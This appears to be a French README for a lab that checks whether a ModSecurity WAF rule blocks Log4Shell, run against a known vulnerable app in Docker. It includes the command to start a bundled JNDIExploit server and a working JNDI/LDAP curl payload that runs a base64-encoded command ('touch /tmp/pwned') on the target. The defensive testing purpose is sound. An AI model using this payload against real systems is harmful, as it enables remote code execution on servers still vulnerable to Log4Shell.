ModSec-log4j2

Test de la règle ModSec

Prérequis

• Avoir Docker installé
• Avoir Java installé sur votre machine

Exécution du test

• Faire un git clone du dépôt
• Exécuter la commande ci-dessous pour lancer le WAF (ModSec) et l'application vulnérable

docker stack deploy -c docker-compose.yml WAF

• Extraire le fichier JNDIExploit.v1.2.zip qui se trouve dans le dépôt, entrer dans le dossier et exécuter la commande ci-dessous, sachant que $IP doit être l'IP de votre machine, je ne recommande pas d'utiliser 127.0.0.1

java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888

• Pour tester le RCE, exécutez la commande curl ci-dessous en remplaçant $IP par l'IP de votre machine. Elle créera un fichier pwned dans /tmp de l'application vulnérable

curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Questions des universitaires

1- Comment savoir si mon WAF et l'application Web vulnérable sont opérationnels ?

Exécutez docker service ls et vérifiez qu'il y a deux services ayant chacun une réplique.

2- Comment obtenir les logs de ModSec ?

Exécutez docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log

3- Comment vérifier si le RCE a échoué ?

Le curl que nous avons utilisé crée un fichier nommé pwned dans tmp, donc nous devons exécuter docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp